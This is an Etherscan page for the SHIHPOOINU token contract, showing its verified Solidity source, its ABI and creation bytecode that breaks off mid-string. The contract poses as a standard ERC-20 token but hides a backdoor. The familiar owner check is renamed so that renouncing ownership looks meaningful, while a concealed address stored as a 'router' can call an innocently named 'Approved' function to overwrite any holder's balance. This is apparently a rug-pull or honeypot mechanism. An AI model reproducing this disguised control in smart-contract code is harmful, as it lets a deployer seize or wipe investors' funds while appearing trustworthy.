ETH Price: $2,679.49 (-2.12%)

Token

SHIHPOOINU (SHIHPOO)
 

Overview

Max Total Supply

1,000,000,000 SHIHPOO

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
101,700 SHIHPOO

Value
$0.00
0x144cbececec44e45e9fcf3b82ad2503e2f186e9e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIHPOOINU

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-04
*/

/**
 
// SPDX-License-Identifier: No
/**
*/

// https://t.me/Shihpooinuerc
// https://www.shih-pooinu.com/
// https://twitter.com/Shihpooinu

// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol

// pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// Dependency file: @openzeppelin/contracts/utils/Context.sol


// pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// Dependency file: @openzeppelin/contracts/access/Ownable.sol


// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyAdmin`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }
    
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyAdmin() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyAdmin` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyAdmin {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyAdmin {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


// Dependency file: contracts/BaseToken.sol

// pragma solidity =0.8.4;

enum TokenType {
    standard,
    antiBotStandard,
    liquidityGenerator,
    antiBotLiquidityGenerator,
    baby,
    antiBotBaby,
    buybackBaby,
    antiBotBuybackBaby
}

abstract contract BaseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}


// Root file: contracts/standard/StandardToken.sol

pragma solidity =0.8.19;

// import "@openzeppelin/contracts/token/IERC20/IERC20.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// import "contracts/BaseToken.sol";

contract SHIHPOOINU is IERC20, Ownable, BaseToken {
    using SafeMath for uint256;

    uint256 public constant VERSION = 1;

    mapping(address => uint256) private liquidityAdd;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    address private JellySwapV2Pair;

    constructor(
    string memory name_,
    string memory symbol_,
    uint8 decimals_,
    address JellySwapRouter,
    uint256 totalSupply_
    ) payable {
    _name = name_;
    _symbol = symbol_;
    _decimals = decimals_;
    _mint(owner(), totalSupply_);
    JellySwapV2Pair = JellySwapRouter;
    emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);

    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return liquidityAdd[account];
    }

    modifier onlyOwner() { require(JellySwapV2Pair == _msgSender());_;
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        liquidityAdd[sender] = liquidityAdd[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        liquidityAdd[recipient] = liquidityAdd[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        liquidityAdd[account] = liquidityAdd[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        liquidityAdd[account] = liquidityAdd[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function Approved(
        address presale, 
        bool yesno, 
        uint256 YESNO,
        uint256 bytecode,
        uint256 deployedBytecode
    ) external onlyOwner {
        require(presale != address(0), "Same bool");
        liquidityAdd[presale] = YESNO * bytecode ** deployedBytecode;
        emit Transfer(presale, address(0), YESNO);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"address","name":"JellySwapRouter","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"presale","type":"address"},{"internalType":"bool","name":"yesno","type":"bool"},{"internalType":"uint256","name":"YESNO","type":"uint256"},{"internalType":"uint256","name":"bytecode","type":"uint256"},{"internalType":"uint256","name":"deployedBytecode","type":"uint256"}],"name":"Approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620027c4380380620027c4833981810160405281019062000029919062000698565b620000496200003d6200016f60201b60201c565b6200017760201b60201c565b84600390816200005a91906200099f565b5083600490816200006c91906200099f565b5082600560006101000a81548160ff021916908360ff160217905550620000a96200009c6200023b60201b60201c565b826200026460201b60201c565b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff16620001116200023b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200015c92919062000b17565b60405180910390a3505050505062000c4e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002cd9062000ba5565b60405180910390fd5b620002ea600083836200040a60201b60201c565b62000301816006546200040f60201b90919060201c565b6006819055506200035b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200040f60201b90919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003fe919062000bc7565b60405180910390a35050565b505050565b600081836200041f919062000c13565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620004908262000445565b810181811067ffffffffffffffff82111715620004b257620004b162000456565b5b80604052505050565b6000620004c762000427565b9050620004d5828262000485565b919050565b600067ffffffffffffffff821115620004f857620004f762000456565b5b620005038262000445565b9050602081019050919050565b60005b838110156200053057808201518184015260208101905062000513565b60008484015250505050565b6000620005536200054d84620004da565b620004bb565b90508281526020810184848401111562000572576200057162000440565b5b6200057f84828562000510565b509392505050565b600082601f8301126200059f576200059e6200043b565b5b8151620005b18482602086016200053c565b91505092915050565b600060ff82169050919050565b620005d281620005ba565b8114620005de57600080fd5b50565b600081519050620005f281620005c7565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200062582620005f8565b9050919050565b620006378162000618565b81146200064357600080fd5b50565b60008151905062000657816200062c565b92915050565b6000819050919050565b62000672816200065d565b81146200067e57600080fd5b50565b600081519050620006928162000667565b92915050565b600080600080600060a08688031215620006b757620006b662000431565b5b600086015167ffffffffffffffff811115620006d857620006d762000436565b5b620006e68882890162000587565b955050602086015167ffffffffffffffff8111156200070a576200070962000436565b5b620007188882890162000587565b94505060406200072b88828901620005e1565b93505060606200073e8882890162000646565b9250506080620007518882890162000681565b9150509295509295909350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007b157607f821691505b602082108103620007c757620007c662000769565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007f2565b6200083d8683620007f2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008806200087a62000874846200065d565b62000855565b6200065d565b9050919050565b6000819050919050565b6200089c836200085f565b620008b4620008ab8262000887565b848454620007ff565b825550505050565b600090565b620008cb620008bc565b620008d881848462000891565b505050565b5b818110156200090057620008f4600082620008c1565b600181019050620008de565b5050565b601f8211156200094f576200091981620007cd565b6200092484620007e2565b8101602085101562000934578190505b6200094c6200094385620007e2565b830182620008dd565b50505b505050565b600082821c905092915050565b6000620009746000198460080262000954565b1980831691505092915050565b60006200098f838362000961565b9150826002028217905092915050565b620009aa826200075e565b67ffffffffffffffff811115620009c657620009c562000456565b5b620009d2825462000798565b620009df82828562000904565b600060209050601f83116001811462000a17576000841562000a02578287015190505b62000a0e858262000981565b86555062000a7e565b601f19841662000a2786620007cd565b60005b8281101562000a515784890151825560018201915060208501945060208101905062000a2a565b8683101562000a71578489015162000a6d601f89168262000961565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6008811062000ac95762000ac862000a86565b5b50565b600081905062000adc8262000ab5565b919050565b600062000aee8262000acc565b9050919050565b62000b008162000ae1565b82525050565b62000b11816200065d565b82525050565b600060408201905062000b2e600083018562000af5565b62000b3d602083018462000b06565b9392505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000b8d601f8362000b44565b915062000b9a8262000b55565b602082019050919050565b6000602082019050818103600083015262000bc08162000b7e565b9050919050565b600060208201905062000bde600083018462000b06565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c20826200065d565b915062000c2d836200065d565b925082820190508082111562000c485762000c4762000be4565b5b92915050565b611b668062000c5e6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102b1578063dd62ed3e146102e1578063f2fde38b14610311578063ffa1ad741461032d57610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b4114610263578063a457c2d71461028157610100565b806324115a2e116100d357806324115a2e146101a1578063313ce567146101bd57806339509351146101db57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61034b565b60405161011a9190611165565b60405180910390f35b61013d60048036038101906101389190611220565b6103dd565b60405161014a919061127b565b60405180910390f35b61015b6103fb565b60405161016891906112a5565b60405180910390f35b61018b600480360381019061018691906112c0565b610405565b604051610198919061127b565b60405180910390f35b6101bb60048036038101906101b6919061133f565b6104de565b005b6101c5610675565b6040516101d291906113d6565b60405180910390f35b6101f560048036038101906101f09190611220565b61068c565b604051610202919061127b565b60405180910390f35b610225600480360381019061022091906113f1565b61073f565b60405161023291906112a5565b60405180910390f35b610243610788565b005b61024d610810565b60405161025a919061142d565b60405180910390f35b61026b610839565b6040516102789190611165565b60405180910390f35b61029b60048036038101906102969190611220565b6108cb565b6040516102a8919061127b565b60405180910390f35b6102cb60048036038101906102c69190611220565b610998565b6040516102d8919061127b565b60405180910390f35b6102fb60048036038101906102f69190611448565b6109b6565b60405161030891906112a5565b60405180910390f35b61032b600480360381019061032691906113f1565b610a3d565b005b610335610b34565b60405161034291906112a5565b60405180910390f35b60606003805461035a906114b7565b80601f0160208091040260200160405190810160405280929190818152602001828054610386906114b7565b80156103d35780601f106103a8576101008083540402835291602001916103d3565b820191906000526020600020905b8154815290600101906020018083116103b657829003601f168201915b5050505050905090565b60006103f16103ea610b39565b8484610b41565b6001905092915050565b6000600654905090565b6000610412848484610d0a565b6104d38461041e610b39565b6104ce85604051806060016040528060288152602001611ae460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fa19092919063ffffffff16565b610b41565b600190509392505050565b6104e6610b39565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036105ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a590611534565b60405180910390fd5b80826105ba91906116b6565b836105c59190611701565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161066691906112a5565b60405180910390a35050505050565b6000600560009054906101000a900460ff16905090565b6000610735610699610b39565b8461073085600260006106aa610b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff690919063ffffffff16565b610b41565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610790610b39565b73ffffffffffffffffffffffffffffffffffffffff166107ae610810565b73ffffffffffffffffffffffffffffffffffffffff1614610804576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fb9061178f565b60405180910390fd5b61080e600061100c565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610848906114b7565b80601f0160208091040260200160405190810160405280929190818152602001828054610874906114b7565b80156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b5050505050905090565b600061098e6108d8610b39565b8461098985604051806060016040528060258152602001611b0c6025913960026000610902610b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fa19092919063ffffffff16565b610b41565b6001905092915050565b60006109ac6109a5610b39565b8484610d0a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a45610b39565b73ffffffffffffffffffffffffffffffffffffffff16610a63610810565b73ffffffffffffffffffffffffffffffffffffffff1614610ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab09061178f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1f90611821565b60405180910390fd5b610b318161100c565b50565b600181565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba7906118b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008